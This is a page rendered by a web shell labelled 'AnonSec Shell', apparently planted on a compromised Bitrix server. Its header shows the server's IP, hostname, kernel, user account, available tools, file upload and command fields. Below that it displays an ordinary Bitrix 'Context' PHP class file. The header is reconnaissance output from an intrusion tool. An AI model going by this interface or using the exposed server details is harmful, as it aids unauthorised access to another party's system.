AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.143.203.190
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/main/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/main/lib//context.php
<?php

/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2022 Bitrix
 */

namespace Bitrix\Main;

use Bitrix\Main\Localization;

/**
 * Context of current request.
 */
class Context
{
	/** @var Application */
	protected $application;

	/** @var Response */
	protected $response;

	/** @var Request */
	protected $request;

	/** @var Server */
	protected $server;

	/** @var Localization\EO_Language */
	protected $language;

	/** @var EO_Site */
	protected $site;

	/** @var Environment */
	protected $env;

	/** @var Context\Culture */
	protected $culture;

	/** @var array */
	protected $params;

	/**
	 * Creates new instance of context.
	 *
	 * @param Application $application
	 */
	public function __construct(Application $application)
	{
		$this->application = $application;
	}

	/**
	 * Initializes context by request and response objects.
	 *
	 * @param Request $request
	 * @param Response $response
	 * @param Server $server
	 * @param array $params
	 */
	public function initialize(Request $request, Response $response, Server $server, array $params = [])
	{
		$this->request = $request;
		$this->response = $response;
		$this->server = $server;
		$this->params = $params;
	}

	public function getEnvironment()
	{
		if ($this->env === null)
		{
			$this->env = new Environment($this->params['env']);
		}
		return $this->env;
	}

	/**
	 * Returns response object of the context.
	 *
	 * @return Response | HttpResponse
	 */
	public function getResponse()
	{
		return $this->response;
	}

	/**
	 * Sets response of the context.
	 *
	 * @param Response $response Response.
	 * @return $this
	 */
	public function setResponse(Response $response)
	{
		$this->response = $response;
		return $this;
	}

	/**
	 * Returns request object of the context.
	 *
	 * @return Request | HttpRequest
	 */
	public function getRequest()
	{
		return $this->request;
	}

	/**
	 * Returns server object of the context.
	 *
	 * @return Server
	 */
	public function getServer()
	{
		return $this->server;
	}

	/**
	 * Returns backreference to Application.
	 *
	 * @return Application
	 */
	public function getApplication()
	{
		return $this->application;
	}

	/**
	 * Returns culture of the context.
	 *
	 * @return Context\Culture | null
	 */
	public function getCulture()
	{
		return $this->culture;
	}

	/**
	 * Returns current language ID (en, ru).
	 *
	 * @return string | null
	 */
	public function getLanguage()
	{
		return $this->language ? $this->language->getLid() : null;
	}

	/**
	 * Returns current language object.
	 *
	 * @return Localization\EO_Language | null
	 */
	public function getLanguageObject(): ?Localization\EO_Language
	{
		return $this->language;
	}

	/**
	 * Returns current site
	 *
	 * @return string
	 */
	public function getSite()
	{
		return $this->site ? $this->site->getLid() : null;
	}

	/**
	 * Returns current language object.
	 *
	 * @return EO_Site | null
	 */
	public function getSiteObject(): ?EO_Site
	{
		return $this->site;
	}

	/**
	 * Sets culture of the context.
	 *
	 * @param \Bitrix\Main\Context\Culture $culture
	 * @return $this
	 */
	public function setCulture(Context\Culture $culture)
	{
		$this->culture = $culture;
		return $this;
	}

	/**
	 * Sets language of the context.
	 *
	 * @param string | Localization\EO_Language $language
	 * @return $this
	 */
	public function setLanguage($language)
	{
		if ($language instanceof Localization\EO_Language)
		{
			$this->language = $language;
		}
		else
		{
			$this->language = Localization\LanguageTable::wakeUpObject($language);
			$this->language->fill(ORM\Fields\FieldTypeMask::SCALAR | ORM\Fields\FieldTypeMask::EXPRESSION);
		}
		return $this;
	}

	/**
	 * Sets site of the context.
	 *
	 * @param string | EO_Site $site
	 * @return $this
	 */
	public function setSite($site)
	{
		if ($site instanceof EO_Site)
		{
			$this->site = $site;
		}
		else
		{
			$this->site = SiteTable::wakeUpObject($site);
			$this->site->fill(ORM\Fields\FieldTypeMask::SCALAR | ORM\Fields\FieldTypeMask::EXPRESSION);
		}
		return $this;
	}

	/**
	 * Static method returns current instance of context.
	 *
	 * @static
	 * @return Context
	 */
	public static function getCurrent()
	{
		if (Application::hasInstance())
		{
			$application = Application::getInstance();
			return $application->getContext();
		}

		return null;
	}
}

Anon7 - 2022
AnonSec Team